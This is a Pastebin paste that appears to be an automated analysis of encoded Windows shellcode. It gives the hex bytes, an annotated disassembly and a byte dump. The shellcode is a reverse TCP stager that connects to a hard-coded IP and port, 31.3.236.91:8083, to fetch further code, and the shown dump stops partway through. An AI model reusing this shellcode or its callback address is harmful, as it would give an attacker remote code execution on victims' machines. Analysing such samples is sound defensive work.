Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Hex dump: ba 44 84 9b fc da d2 d9 74 24 f4 5d 29 c9 b1 47 31 55 13 03 55 13 83 ed fc e2 f5 fc e8 82 00 00 00 60 89 e5 31 c0 64 8b 50 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f2 52 57 8b 52 10 8b 4a 3c 8b 4c 11 78 e3 48 01 d1 51 8b 59 20 01 d3 8b 49 18 e3 3a 49 8b 34 8b 01 d6 31 ff ac c1 cf 0d 01 c7 38 e0 75 f6 03 7d f8 3b 7d 24 75 e4 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 5f 5f 5a 8b 12 eb 8d 5d 68 33 32 00 00 68 77 73 32 5f 54 68 4c 77 26 07 ff d5 b8 90 01 00 00 29 c4 54 50 68 29 80 6b 00 ff d5 6a 05 68 1f 03 ec 5b 68 02 00 1f 93 89 e6 50 50 50 50 40 50 40 50 68 ea 0f df e0 ff d5 97 6a 10 56 57 68 99 a5 74 61 ff d5 85 c0 74 0c ff 4e 08 75 ec 68 f0 b5 a2 56 ff d5 6a 00 6a 04 56 57 68 02 d9 c8 5f ff d5 8b 36 6a 40 68 00 10 00 00 56 6a 00 68 58 a4 53
- Found shikata_ga_nai shellcode len = 71, key = 0x57383ed6, decode offset= 19, fpop offset = 5, keyop= add, istart=0x13, 'add edx,dword [ebp + 19]'
- 0x00000000 ba44849bfc mov edx,0xfc9b8444
- 0x00000005 dad2 fcmovbe st0,st2
- 0x00000007 d97424f4 fnstenv [esp - 12]
- 0x0000000b 5d pop ebp
- 0x0000000c 29c9 sub ecx,ecx
- 0x0000000e b147 mov cl,71
- 0x00000010 315513 xor dword [ebp + 19],edx
- 0x00000013 035513 add edx,dword [ebp + 19]
- 0x00000016 83edfc sub ebp,0xfffffffc
- 0x00000019 e2f5 loop 0x00000010
- 0x0000001b fc cld
- 0x0000001c e882000000 call 0x000000a3
- 0x00000021 60 pushad
- 0x00000022 89e5 mov ebp,esp
- 0x00000024 31c0 xor eax,eax
- 0x00000026 648b5030 fs: mov edx,dword [eax + 48]
- 0x0000002a 8b520c mov edx,dword [edx + 12]
- 0x0000002d 8b5214 mov edx,dword [edx + 20]
- 0x00000030 8b7228 mov esi,dword [edx + 40]
- 0x00000033 0fb74a26 movzx ecx,word [edx + 38]
- 0x00000037 31ff xor edi,edi
- 0x00000039 ac lodsb
- 0x0000003a 3c61 cmp al,97
- 0x0000003c 7c02 jl 0x00000040
- 0x0000003e 2c20 sub al,32
- 0x00000040 c1cf0d ror edi,13
- 0x00000043 01c7 add edi,eax
- 0x00000045 e2f2 loop 0x00000039
- 0x00000047 52 push edx
- 0x00000048 57 push edi
- 0x00000049 8b5210 mov edx,dword [edx + 16]
- 0x0000004c 8b4a3c mov ecx,dword [edx + 60]
- 0x0000004f 8b4c1178 mov ecx,dword [ecx + edx + 120]
- 0x00000053 e348 jecxz 0x0000009d
- 0x00000055 01d1 add ecx,edx
- 0x00000057 51 push ecx
- 0x00000058 8b5920 mov ebx,dword [ecx + 32]
- 0x0000005b 01d3 add ebx,edx
- 0x0000005d 8b4918 mov ecx,dword [ecx + 24]
- 0x00000060 e33a jecxz 0x0000009c
- 0x00000062 49 dec ecx
- 0x00000063 8b348b mov esi,dword [ebx + ecx * 4]
- 0x00000066 01d6 add esi,edx
- 0x00000068 31ff xor edi,edi
- 0x0000006a ac lodsb
- 0x0000006b c1cf0d ror edi,13
- 0x0000006e 01c7 add edi,eax
- 0x00000070 38e0 cmp al,ah
- 0x00000072 75f6 jnz 0x0000006a
- 0x00000074 037df8 add edi,dword [ebp - 8]
- 0x00000077 3b7d24 cmp edi,dword [ebp + 36]
- 0x0000007a 75e4 jnz 0x00000060
- 0x0000007c 58 pop eax
- 0x0000007d 8b5824 mov ebx,dword [eax + 36]
- 0x00000080 01d3 add ebx,edx
- 0x00000082 668b0c4b mov cx,word [ebx + ecx * 2]
- 0x00000086 8b581c mov ebx,dword [eax + 28]
- 0x00000089 01d3 add ebx,edx
- 0x0000008b 8b048b mov eax,dword [ebx + ecx * 4]
- 0x0000008e 01d0 add eax,edx
- 0x00000090 89442424 mov dword [esp + 36],eax
- 0x00000094 5b pop ebx
- 0x00000095 5b pop ebx
- 0x00000096 61 popad
- 0x00000097 59 pop ecx
- 0x00000098 5a pop edx
- 0x00000099 51 push ecx
- 0x0000009a ffe0 jmp eax
- 0x0000009c 5f pop edi
- 0x0000009d 5f pop edi
- 0x0000009e 5a pop edx
- 0x0000009f 8b12 mov edx,dword [edx]
- 0x000000a1 eb8d jmp 0x00000030
- 0x000000a3 5d pop ebp
- 0x000000a4 6833320000 push 0x00003233--> '23'
- 0x000000a9 687773325f push 0x5f327377--> '_2sw'
- 0x000000ae 54 push esp
- 0x000000af 684c772607 push 0x0726774c--> '&wL'
- 0x000000b4 ffd5 call ebp --> kernel32.dll!LoadLibraryA
- 0x000000b6 b890010000 mov eax,400
- 0x000000bb 29c4 sub esp,eax
- 0x000000bd 54 push esp
- 0x000000be 50 push eax
- 0x000000bf 6829806b00 push 0x006b8029--> 'k)'
- 0x000000c4 ffd5 call ebp --> ws2_32.dll!WSAStartup
- 0x000000c6 6a05 push 5
- 0x000000c8 681f03ec5b push 0x5bec031f
- 0x000000cd 6802001f93 push 0x931f0002--> IP 31.3.236.91:8083
- 0x000000d2 89e6 mov esi,esp
- 0x000000d4 50 push eax
- 0x000000d5 50 push eax
- 0x000000d6 50 push eax
- 0x000000d7 50 push eax
- 0x000000d8 40 inc eax
- 0x000000d9 50 push eax
- 0x000000da 40 inc eax
- 0x000000db 50 push eax
- 0x000000dc 68ea0fdfe0 push 0xe0df0fea
- 0x000000e1 ffd5 call ebp --> ws2_32.dll!WSASocketA
- 0x000000e3 97 xchg eax,edi
- 0x000000e4 6a10 push 16
- 0x000000e6 56 push esi
- 0x000000e7 57 push edi
- 0x000000e8 6899a57461 push 0x6174a599--> 'at'
- 0x000000ed ffd5 call ebp --> ws2_32.dll!connect
- 0x000000ef 85c0 test eax,eax
- 0x000000f1 740c jz 0x000000ff
- 0x000000f3 ff4e08 dec dword [esi + 8]
- 0x000000f6 75ec jnz 0x000000e4
- 0x000000f8 68f0b5a256 push 0x56a2b5f0
- 0x000000fd ffd5 call ebp --> kernel32.dll!ExitProcess
- 0x000000ff 6a00 push 0
- 0x00000101 6a04 push 4
- 0x00000103 56 push esi
- 0x00000104 57 push edi
- 0x00000105 6802d9c85f push 0x5fc8d902
- 0x0000010a ffd5 call ebp --> ws2_32.dll!recv
- 0x0000010c 8b36 mov esi,dword [esi]
- 0x0000010e 6a40 push 64
- 0x00000110 6800100000 push 4096
- 0x00000115 56 push esi
- 0x00000116 6a00 push 0
- Byte Dump:
- .D......t$.])..G1U..U............`..1.d.P0.R.R..r(..J&1..<a|.,......RW.R..J<.L.x.H..Q.Y...I..:I.4...1......8.u..}.;}$u.X.X$..f.K.X.........D$$[[aYZQ..__Z....]h32..hws2_ThLw&........).TPh).k...j.h...[h......PPPP@[email protected][email protected]
Advertisement
Add Comment
Please, Sign In to add comment
